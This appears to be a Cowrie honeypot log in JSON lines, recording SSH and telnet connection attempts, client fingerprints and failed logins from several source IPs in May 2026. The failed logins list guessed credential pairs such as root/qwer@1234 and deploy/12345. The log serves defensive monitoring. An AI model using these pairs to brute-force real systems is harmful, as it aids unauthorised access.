{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:64:57:06:22:b4:a0:1e:85:1d:a5:e4:eb:9b:41:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkePtFHvb6GQ2hJWrwfyJ5tZeOkwKUxop7FB+UHVhz/1vv1IajUrbnEc5f/3IgWDnJhjJT0LI8h8UinNwovgSFh/9yHtKVu5VbFictjiTp0kWU/NHncw/XJwe6xVLQxPrOV1hq5XMmG/DW28eTR03bf2YPkUQ99F1c09c3wef4lAZmtx0gKStrWYwKcMSSHxP7hIftKbPVl+76RuW/qOStTXB9XSk0vV8QQZ0lj+d+loQsfO8AgyRtqFzmyV9I5aBeY6stIpnZJX8nFV8xR8CA0+cxbAh9tGoKubz5bCk/PpBiZ/iC6bpeGGxd+phzN8zlgpwfrrB5+z3L1gLuumhH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.414008Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:a6:df:b4:c3:e4:d4:1c:35:13:f3:1b:a9:3e:65:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Cg1a+E/+GOPdiZoutQr0sPOS29wZh7QC3xMwvHIBky6d53WsxD7MoHe+dLrarvzEOmxEorMee96iUP01SaZsjCvRfpxKl+QKgz0JkoEzGjxMknN9R24AAS/Vrn4lpZWQwhyzhJ9efrWzoeUZCJDTXan9ZuCcOIE4150z1PWVJcHJrFxlkFI9EgxOyA2Sg2ZTVM2cE85NUccF+CcDapzEbB3wS/EekNmnnpmHoJhTdYbSF1jnk/BmH/iDQjmbS1u6KYCBSmACJvBIhCeXbaPbISI3NtsEhmhfca2x9NOL37NO968ZZn3d6/iLmG7waISK7Xxf++VZxS3vKOv+f2OXxaRF+3Br7jzTeR53x6y4A1+iZBdR+52rgdJf7fCUQCXsRBW2bvlul7FYIF0rq0K9wE+JS+fMbMFfegKd1dN7X93XR/KPxp+M+3d0FCDPrbzJDWFKyKVQ2c6e6Tw3q7Ibah13n9BixWUifj43JlHEdVeuA8b0kH1HalmBLPsdvjU8O0zP2lrp6jshfhhiq9OfF0AIifJw4g1NkFLWkwce1iuJ91955+2t6e+NB0kEhOfLp20J9+tY64NC5cizgNrRkzTiqsV0x1iNTAGNbM08g7ZLyJB2IZFnS4HVZX53v9n9v9bLMeetckne6GcC7VWbJs99F9IQDOIc1khtL7Crtw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:a6:df:b4:c3:e4:d4:1c:35:13:f3:1b:a9:3e:65:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.504718Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:a6:df:b4:c3:e4:d4:1c:35:13:f3:1b:a9:3e:65:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0Cg1a+E/+GOPdiZoutQr0sPOS29wZh7QC3xMwvHIBky6d53WsxD7MoHe+dLrarvzEOmxEorMee96iUP01SaZsjCvRfpxKl+QKgz0JkoEzGjxMknN9R24AAS/Vrn4lpZWQwhyzhJ9efrWzoeUZCJDTXan9ZuCcOIE4150z1PWVJcHJrFxlkFI9EgxOyA2Sg2ZTVM2cE85NUccF+CcDapzEbB3wS/EekNmnnpmHoJhTdYbSF1jnk/BmH/iDQjmbS1u6KYCBSmACJvBIhCeXbaPbISI3NtsEhmhfca2x9NOL37NO968ZZn3d6/iLmG7waISK7Xxf++VZxS3vKOv+f2OXxaRF+3Br7jzTeR53x6y4A1+iZBdR+52rgdJf7fCUQCXsRBW2bvlul7FYIF0rq0K9wE+JS+fMbMFfegKd1dN7X93XR/KPxp+M+3d0FCDPrbzJDWFKyKVQ2c6e6Tw3q7Ibah13n9BixWUifj43JlHEdVeuA8b0kH1HalmBLPsdvjU8O0zP2lrp6jshfhhiq9OfF0AIifJw4g1NkFLWkwce1iuJ91955+2t6e+NB0kEhOfLp20J9+tY64NC5cizgNrRkzTiqsV0x1iNTAGNbM08g7ZLyJB2IZFnS4HVZX53v9n9v9bLMeetckne6GcC7VWbJs99F9IQDOIc1khtL7Crtw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.508996Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:33.599775Z","src_ip":"135.125.236.201","session":"38962693375b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":55902,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eae9fa13e47","protocol":"ssh","message":"New connection: 193.24.211.100:55902 (159.203.135.109:22) [session: 6eae9fa13e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:35.908623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:35.959316Z","src_ip":"193.24.211.100","session":"6eae9fa13e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:36.018680Z","src_ip":"193.24.211.100","session":"6eae9fa13e47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3.1415","message":"login attempt [root/3.1415] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:36.441187Z","src_ip":"193.24.211.100","session":"6eae9fa13e47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:16:37.712782Z","src_ip":"193.24.211.100","session":"6eae9fa13e47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":41332,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6ae4dbcecc4","protocol":"ssh","message":"New connection: 120.28.109.188:41332 (159.203.135.109:22) [session: f6ae4dbcecc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:17:06.915956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:17:06.922044Z","src_ip":"120.28.109.188","session":"f6ae4dbcecc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:17:07.183039Z","src_ip":"120.28.109.188","session":"f6ae4dbcecc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver1","password":"csgoserver1","message":"login attempt [csgoserver1/csgoserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:17:08.250741Z","src_ip":"120.28.109.188","session":"f6ae4dbcecc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:17:09.513821Z","src_ip":"120.28.109.188","session":"f6ae4dbcecc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":46712,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b4bd6a995f3","protocol":"telnet","message":"New connection: 212.55.149.117:46712 (10.17.0.5:23) [session: 7b4bd6a995f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:17:11.108540Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.247.37.104","src_port":51659,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa2030ea440b","protocol":"telnet","message":"New connection: 190.247.37.104:51659 (10.17.0.5:23) [session: aa2030ea440b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:17:22.395721Z"}
{"eventid":"cowrie.session.closed","duration":12.3252432346344,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:17:34.720855Z","src_ip":"190.247.37.104","session":"aa2030ea440b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":57720,"dst_ip":"159.203.135.109","dst_port":22,"session":"72b6486f4e16","protocol":"ssh","message":"New connection: 120.28.109.188:57720 (159.203.135.109:22) [session: 72b6486f4e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:18:03.290264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:18:03.295482Z","src_ip":"120.28.109.188","session":"72b6486f4e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:18:03.561079Z","src_ip":"120.28.109.188","session":"72b6486f4e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"karmag3dd0n3","message":"login attempt [postgres/karmag3dd0n3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:18:04.633087Z","src_ip":"120.28.109.188","session":"72b6486f4e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:18:05.898440Z","src_ip":"120.28.109.188","session":"72b6486f4e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.40516901016235,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:18:11.513426Z","src_ip":"212.55.149.117","session":"7b4bd6a995f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":45656,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c4597837c55","protocol":"ssh","message":"New connection: 120.28.109.188:45656 (159.203.135.109:22) [session: 9c4597837c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:00.038712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:00.046020Z","src_ip":"120.28.109.188","session":"9c4597837c55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:00.307586Z","src_ip":"120.28.109.188","session":"9c4597837c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12345","message":"login attempt [deploy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:01.378035Z","src_ip":"120.28.109.188","session":"9c4597837c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:02.645849Z","src_ip":"120.28.109.188","session":"9c4597837c55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.170.177","src_port":58654,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ecb3dbb99ee","protocol":"telnet","message":"New connection: 167.172.170.177:58654 (10.17.0.5:23) [session: 7ecb3dbb99ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:35.783957Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55986,"dst_ip":"10.17.0.5","dst_port":22,"session":"52337808f9fe","protocol":"ssh","message":"New connection: 103.15.226.202:55986 (10.17.0.5:22) [session: 52337808f9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:44.841771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:44.851307Z","src_ip":"103.15.226.202","session":"52337808f9fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:45.092931Z","src_ip":"103.15.226.202","session":"52337808f9fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@1234","message":"login attempt [root/qwer@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:45.824063Z","src_ip":"103.15.226.202","session":"52337808f9fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:19:47.068979Z","src_ip":"103.15.226.202","session":"52337808f9fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":35200,"dst_ip":"159.203.135.109","dst_port":22,"session":"d91cebcf69f9","protocol":"ssh","message":"New connection: 120.28.109.188:35200 (159.203.135.109:22) [session: d91cebcf69f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:00.209432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:00.214407Z","src_ip":"120.28.109.188","session":"d91cebcf69f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:00.476013Z","src_ip":"120.28.109.188","session":"d91cebcf69f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test1234","message":"login attempt [user/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:01.543249Z","src_ip":"120.28.109.188","session":"d91cebcf69f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:02.810076Z","src_ip":"120.28.109.188","session":"d91cebcf69f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.193207025527954,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:10.977060Z","src_ip":"167.172.170.177","session":"7ecb3dbb99ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":60750,"dst_ip":"159.203.135.109","dst_port":22,"session":"91bc5bcfcb9b","protocol":"ssh","message":"New connection: 120.28.109.188:60750 (159.203.135.109:22) [session: 91bc5bcfcb9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:20:56.869065Z"}
